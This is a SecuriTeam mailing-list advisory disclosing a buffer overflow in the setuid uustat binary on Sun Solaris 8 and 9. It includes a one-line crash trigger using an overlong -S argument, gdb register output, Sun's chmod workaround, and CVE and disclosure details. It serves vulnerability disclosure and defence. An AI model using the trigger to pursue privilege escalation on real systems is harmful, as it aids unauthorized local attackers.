The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Sun Solaris uustat Buffer Overflow
------------------------------------------------------------------------
SUMMARY
The uustat binary (part of the uucp project) is "used to display or cancel
uucp requests as well as to provide general status on uucp connections to
other systems".
There exists a buffer overflow venerability in the /usr/bin/uustat binary
in Sun Solaris that allows local attackers to gain elevated privileges.
DETAILS
Vulnerable Systems:
* Sun Solaris versions 5.8 and 5.9
The uustat binary is installed setuid "uucp" by default on Solaris. The
"-S" command line argument causes the binary to crash when followed with a
string that is greater than or equal to 1152 bytes in length.
The following shows the buffer being overflowed and then the o1 register
being completely overwritten with the letter 'A':
bash-2.03% ls -l /usr/bin/uustat
---s--x--x 1 uucp uucp 62012 Jan 17 16:07 uustat
bash-2.03$ /usr/bin/uustat -S `perl -e 'print "A"x3000'`
Segmentation Fault
bash-2.03$
(gdb) info registers
g0 0x0 0
g1 0xff315e98 -13541736
g2 0x1cc00 117760
g3 0x440 1088
g4 0x0 0
g5 0x0 0
g6 0x0 0
g7 0x0 0
o0 0xff3276a8 -13470040
o1 0x41414141 1094795585
..
By exploiting this buffer overflow, an attacker can potentially gain
control of the return address of the executing function, allowing
arbitrary code execution with "uucp" privileges.
Workaround: (from Sun's advisory)
To work around the described issues, remove the "set-user-ID" bit from the
uucp and uustat binaries as follows:
# chmod u-s /usr/bin/uucp
# chmod u-s /usr/bin/uustat
Note: Removing the "set-user-ID" bit from the uucp and uustat binaries
will prevent unprivileged users from using the commands to access calling
devices (such as modems).
Vendor Status:
The vendor has released the following advisory to address this issue:
<http://sunsolve.sun.com/search/document.do?assetkey=1-26-101933-1>
http://sunsolve.sun.com/search/document.do?assetkey=1-26-101933-1
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0780>
CAN-2004-0780
Disclosure Timeline:
* 11.08.04 - Initial vendor contact
* 11.08.04 - Initial vendor response
* 10.01.06 - Coordinated public disclosure
ADDITIONAL INFORMATION
The information has been provided by iDefense.
The original article can be found at:
<http://www.idefense.com/intelligence/vulnerabilities/display.php?id=366>
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=366
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
